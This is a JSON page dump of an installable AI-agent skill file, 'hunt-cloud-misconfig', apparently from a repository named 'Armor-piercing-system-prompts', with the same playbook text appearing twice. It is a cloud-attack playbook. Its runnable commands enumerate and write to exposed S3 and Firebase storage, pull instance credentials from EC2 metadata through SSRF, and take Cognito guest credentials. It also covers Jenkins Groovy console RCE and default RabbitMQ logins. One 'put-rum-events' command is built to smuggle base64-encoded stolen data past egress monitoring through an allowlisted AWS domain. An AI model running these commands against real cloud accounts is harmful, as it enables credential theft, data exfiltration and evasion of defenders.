[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ECH2B653Q2FT1ZA9BSNG3G":3,"skill-same:01M7ECH2B653Q2FT1ZA9BSNG3G":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7ECH2B653Q2FT1ZA9BSNG3G","hunt-cloud-misconfig",null,"Hunt cloud \u002F infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes\u002FDocker exposure is owned by hunt-k8s; CI\u002FCD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read \u002F write \u002F RCE. Use when hunting cloud-native storage and compute misconfig (S3\u002FGCS\u002FBlob, IMDS-via-SSRF, serverless, public managed services).","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F03-逆向工程\u002Fhunt-cloud-misconfig\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-cloud-misconfig\ndescription: \"Hunt cloud \u002F infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes\u002FDocker exposure is owned by hunt-k8s; CI\u002FCD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read \u002F write \u002F RCE. Use when hunting cloud-native storage and compute misconfig (S3\u002FGCS\u002FBlob, IMDS-via-SSRF, serverless, public managed services).\"\nsources: hackerone_public, public_research\nreport_count: 6\n---\n\n## 16. CLOUD \u002F INFRA MISCONFIGS\n\n### S3 \u002F GCS \u002F Azure Blob\n```bash\n# S3 listing\ncurl -s \"https:\u002F\u002FTARGET-NAME.s3.amazonaws.com\u002F?max-keys=10\"\naws s3 ls s3:\u002F\u002Ftarget-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$name: %{http_code}\\n\" \"https:\u002F\u002F$name.s3.amazonaws.com\u002F\"\ndone\n\n# Firebase open rules\ncurl -s \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002F.json\"   # read\ncurl -s -X PUT \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002Ftest.json\" -d '\"pwned\"'  # write\n```\n\n### EC2 Metadata (via SSRF)\n```bash\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  # role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME  # keys\n```\n\n### Exposed Admin Panels\n```\n\u002Fjenkins  \u002Fgrafana  \u002Fkibana  \u002Felasticsearch  \u002Fswagger-ui.html\n\u002FphpMyAdmin  \u002F.env  \u002Fconfig.json  \u002Fapi-docs  \u002Fserver-status\n```\n\n---\n\n### Jenkins SSO-restriction failure → Script Console RCE\nAn exposed Jenkins that authenticates ANY personal Google\u002FOAuth account (missing org-domain restriction) is full compromise: log in, then `\u002Fscript` (Groovy console) = RCE, and `\u002Fcredentials` + `\u002FscriptText` = stored API tokens and source disclosure. Disclosed: reports\u002F231460.\n\n### Exposed message broker (RabbitMQ \u002F AMQP) with default creds\nProbe RabbitMQ management (`http:\u002F\u002FTARGET:15672\u002F`, API `:15672\u002Fapi\u002Foverview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue\u002Fmessage read, vhost enumeration, management-plugin admin. Disclosed: reports\u002F753602.\n\n## Local-verification toolchain\n\nFor testing cloud-misconfig findings against a local AWS sim before\u002Finstead of hitting real cloud:\n\n```bash\n# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack\u002Flocalstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http:\u002F\u002Flocalhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n```\n\nWithout those env vars, `aws s3 cp\u002Fsync` fails with `InvalidRequest`. Document this for the team. See `docs\u002Fverification\u002Fphase2j-cloud-localstack.md` for the full reproducible flow.\n\n---\n\n## CloudWatch RUM Weaponization (2024-2026 surface)\n\nAWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance\u002Ferror events to `dataplane.rum.\u003Cregion>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.\n\n### Detection — JS bundle fingerprints\n\n**Snippet-style (most common, embedded in `\u003Chead>`):**\n```javascript\n(function(n,i,v,r,s,c,x,z){...})(\n  'cwr',\n  '00000000-0000-0000-0000-000000000000',                       \u002F\u002F applicationId (UUID)\n  '1.0.0',\n  'us-east-1',\n  'https:\u002F\u002Fclient.rum.us-east-1.amazonaws.com\u002F1.x\u002Fcwr.js',\n  {\n    sessionSampleRate: 1,\n    guestRoleArn: \"arn:aws:iam::123456789012:role\u002FRUM-Monitor-...-Unauth\",\n    identityPoolId: \"us-east-1:abcd1234-...\",\n    endpoint: \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\",\n    telemetries: [\"errors\",\"performance\",\"http\"]\n  }\n);\n```\n\n**NPM-style (aws-rum-web package):**\n```javascript\nimport { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n```\n\n### Regex set for recon\n\n```bash\n# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role\u002F[A-Za-z0-9._\u002F-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n```\n\n### Attack chains\n\n**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:\n\n```bash\naws cognito-identity get-id \\\n  --identity-pool-id \"us-east-1:abcd1234-...\" \\\n  --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n  --identity-id \"us-east-1:\u003Creturned-uuid>\" \\\n  --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity        # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu \u002F enumerate-iam.py\n```\n\nFull chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.\n\n**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.\u003Cregion>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:\n\n```bash\naws rum put-rum-events \\\n  --id $(uuidgen) \\\n  --app-monitor-details '{\"id\":\"\u003CappId>\",\"version\":\"1.0.0\"}' \\\n  --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"\u003Csession>\"}' \\\n  --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"\u003Cbase64 of stolen data>\\\"}\"}]' \\\n  --endpoint-url \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\" \\\n  --region us-east-1\n```\n\nDefenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.\n\n**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com\u002Fcwr.js`) or bundle `aws-rum-web` and serve from `static.target.com\u002Fmain.\u003Chash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.\n\n**Chain D — Telemetry injection \u002F dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).\n\n### Severity rubric\n\n| Finding | Severity | Justification |\n|---|---|---|\n| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |\n| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil \u002F RCE depending on resource |\n| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |\n| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |\n| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |\n| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |\n| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |\n\n### Disclosed cases \u002F authoritative writeups\n\nNo CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.\n\n- **Andres Riancho — \"Misconfigured Cognito Identity Pools\" (2020\u002F2023)** — establishes the attack class. [andresriancho.com](https:\u002F\u002Fandresriancho.com\u002Fidentity-pools-and-the-default-iam-role-trap\u002F)\n- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com\u002FRhinoSecurityLabs\u002Fpacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu)\n- **NotSoSecure \u002F Claranet — \"Exploiting weak configurations in Amazon Cognito\" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https:\u002F\u002Fwww.notsosecure.com\u002Fexploiting-weak-configurations-in-amazon-cognito\u002F)\n- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https:\u002F\u002Fcloud.hacktricks.wiki\u002Fen\u002Fpentesting-cloud\u002Faws-security\u002Faws-unauthenticated-enum-access\u002Faws-cognito-unauthenticated-enum.html)\n- **Datadog Security Labs — \"Following AWS Logs Backwards: Cognito Identity Pool Abuse\" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https:\u002F\u002Fsecuritylabs.datadoghq.com\u002Farticles\u002Fabusing-aws-cognito-misconfigurations\u002F)\n- **aws-observability\u002Faws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com\u002Faws-observability\u002Faws-rum-web](https:\u002F\u002Fgithub.com\u002Faws-observability\u002Faws-rum-web\u002Fissues)\n\n### Validation checklist (before reporting)\n\n1. Extract `identityPoolId` from page source.\n2. Confirm pool allows unauth identities (`get-id` succeeds without auth).\n3. Confirm `get-credentials-for-identity` returns STS creds.\n4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.\n5. Run `enumerate-iam` \u002F Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.\n6. Demonstrate at least one read\u002Flist against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).\n7. **Do not** modify\u002Fdelete data even if permitted — read-only PoC only.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public\u002Fdeleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.\n- **`cloud-iam-deep`** — A leaked SA JSON \u002F AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.\n- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3\u002FRDS data read.\n- **`supply-chain-attack-recon`** — Exposed CI\u002FCD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins\u002FGitLab + internal package name leak → npm\u002FPyPI dependency-confusion publish → CI build pwn.\n- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod \u002F target-backup \u002F target-staging permutations) and the Admin-Panel Path List for fast enumeration.\n- **`triage-validation`** — Apply the Unique-Marker gate: any \"writable bucket\" claim requires a write of a unique marker file and a read-back from a clean session before report submission.\n\n","## 16. CLOUD \u002F INFRA MISCONFIGS\n\n### S3 \u002F GCS \u002F Azure Blob\n```bash\n# S3 listing\ncurl -s \"https:\u002F\u002FTARGET-NAME.s3.amazonaws.com\u002F?max-keys=10\"\naws s3 ls s3:\u002F\u002Ftarget-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$name: %{http_code}\\n\" \"https:\u002F\u002F$name.s3.amazonaws.com\u002F\"\ndone\n\n# Firebase open rules\ncurl -s \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002F.json\"   # read\ncurl -s -X PUT \"https:\u002F\u002FTARGET-APP.firebaseio.com\u002Ftest.json\" -d '\"pwned\"'  # write\n```\n\n### EC2 Metadata (via SSRF)\n```bash\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F  # role name\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME  # keys\n```\n\n### Exposed Admin Panels\n```\n\u002Fjenkins  \u002Fgrafana  \u002Fkibana  \u002Felasticsearch  \u002Fswagger-ui.html\n\u002FphpMyAdmin  \u002F.env  \u002Fconfig.json  \u002Fapi-docs  \u002Fserver-status\n```\n\n---\n\n### Jenkins SSO-restriction failure → Script Console RCE\nAn exposed Jenkins that authenticates ANY personal Google\u002FOAuth account (missing org-domain restriction) is full compromise: log in, then `\u002Fscript` (Groovy console) = RCE, and `\u002Fcredentials` + `\u002FscriptText` = stored API tokens and source disclosure. Disclosed: reports\u002F231460.\n\n### Exposed message broker (RabbitMQ \u002F AMQP) with default creds\nProbe RabbitMQ management (`http:\u002F\u002FTARGET:15672\u002F`, API `:15672\u002Fapi\u002Foverview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue\u002Fmessage read, vhost enumeration, management-plugin admin. Disclosed: reports\u002F753602.\n\n## Local-verification toolchain\n\nFor testing cloud-misconfig findings against a local AWS sim before\u002Finstead of hitting real cloud:\n\n```bash\n# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack\u002Flocalstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http:\u002F\u002Flocalhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n```\n\nWithout those env vars, `aws s3 cp\u002Fsync` fails with `InvalidRequest`. Document this for the team. See `docs\u002Fverification\u002Fphase2j-cloud-localstack.md` for the full reproducible flow.\n\n---\n\n## CloudWatch RUM Weaponization (2024-2026 surface)\n\nAWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance\u002Ferror events to `dataplane.rum.\u003Cregion>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.\n\n### Detection — JS bundle fingerprints\n\n**Snippet-style (most common, embedded in `\u003Chead>`):**\n```javascript\n(function(n,i,v,r,s,c,x,z){...})(\n  'cwr',\n  '00000000-0000-0000-0000-000000000000',                       \u002F\u002F applicationId (UUID)\n  '1.0.0',\n  'us-east-1',\n  'https:\u002F\u002Fclient.rum.us-east-1.amazonaws.com\u002F1.x\u002Fcwr.js',\n  {\n    sessionSampleRate: 1,\n    guestRoleArn: \"arn:aws:iam::123456789012:role\u002FRUM-Monitor-...-Unauth\",\n    identityPoolId: \"us-east-1:abcd1234-...\",\n    endpoint: \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\",\n    telemetries: [\"errors\",\"performance\",\"http\"]\n  }\n);\n```\n\n**NPM-style (aws-rum-web package):**\n```javascript\nimport { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n```\n\n### Regex set for recon\n\n```bash\n# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role\u002F[A-Za-z0-9._\u002F-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n```\n\n### Attack chains\n\n**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:\n\n```bash\naws cognito-identity get-id \\\n  --identity-pool-id \"us-east-1:abcd1234-...\" \\\n  --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n  --identity-id \"us-east-1:\u003Creturned-uuid>\" \\\n  --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity        # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu \u002F enumerate-iam.py\n```\n\nFull chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.\n\n**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.\u003Cregion>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:\n\n```bash\naws rum put-rum-events \\\n  --id $(uuidgen) \\\n  --app-monitor-details '{\"id\":\"\u003CappId>\",\"version\":\"1.0.0\"}' \\\n  --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"\u003Csession>\"}' \\\n  --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"\u003Cbase64 of stolen data>\\\"}\"}]' \\\n  --endpoint-url \"https:\u002F\u002Fdataplane.rum.us-east-1.amazonaws.com\" \\\n  --region us-east-1\n```\n\nDefenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.\n\n**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com\u002Fcwr.js`) or bundle `aws-rum-web` and serve from `static.target.com\u002Fmain.\u003Chash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.\n\n**Chain D — Telemetry injection \u002F dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).\n\n### Severity rubric\n\n| Finding | Severity | Justification |\n|---|---|---|\n| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |\n| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil \u002F RCE depending on resource |\n| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |\n| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |\n| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |\n| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |\n| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |\n\n### Disclosed cases \u002F authoritative writeups\n\nNo CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.\n\n- **Andres Riancho — \"Misconfigured Cognito Identity Pools\" (2020\u002F2023)** — establishes the attack class. [andresriancho.com](https:\u002F\u002Fandresriancho.com\u002Fidentity-pools-and-the-default-iam-role-trap\u002F)\n- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com\u002FRhinoSecurityLabs\u002Fpacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu)\n- **NotSoSecure \u002F Claranet — \"Exploiting weak configurations in Amazon Cognito\" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https:\u002F\u002Fwww.notsosecure.com\u002Fexploiting-weak-configurations-in-amazon-cognito\u002F)\n- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https:\u002F\u002Fcloud.hacktricks.wiki\u002Fen\u002Fpentesting-cloud\u002Faws-security\u002Faws-unauthenticated-enum-access\u002Faws-cognito-unauthenticated-enum.html)\n- **Datadog Security Labs — \"Following AWS Logs Backwards: Cognito Identity Pool Abuse\" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https:\u002F\u002Fsecuritylabs.datadoghq.com\u002Farticles\u002Fabusing-aws-cognito-misconfigurations\u002F)\n- **aws-observability\u002Faws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com\u002Faws-observability\u002Faws-rum-web](https:\u002F\u002Fgithub.com\u002Faws-observability\u002Faws-rum-web\u002Fissues)\n\n### Validation checklist (before reporting)\n\n1. Extract `identityPoolId` from page source.\n2. Confirm pool allows unauth identities (`get-id` succeeds without auth).\n3. Confirm `get-credentials-for-identity` returns STS creds.\n4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.\n5. Run `enumerate-iam` \u002F Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.\n6. Demonstrate at least one read\u002Flist against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).\n7. **Do not** modify\u002Fdelete data even if permitted — read-only PoC only.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public\u002Fdeleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.\n- **`cloud-iam-deep`** — A leaked SA JSON \u002F AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.\n- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3\u002FRDS data read.\n- **`supply-chain-attack-recon`** — Exposed CI\u002FCD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins\u002FGitLab + internal package name leak → npm\u002FPyPI dependency-confusion publish → CI build pwn.\n- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod \u002F target-backup \u002F target-staging permutations) and the Admin-Panel Path List for fast enumeration.\n- **`triage-validation`** — Apply the Unique-Marker gate: any \"writable bucket\" claim requires a write of a unique marker file and a read-back from a clean session before report submission.\n\n",{"name":5,"sources":24,"description":7,"report_count":25},"hackerone_public, public_research",6,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","03-逆向工程\u002Fhunt-cloud-misconfig",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cloud-misconfig",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cloud-misconfig",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cloud-misconfig","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F03-逆向工程\u002Fhunt-cloud-misconfig\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 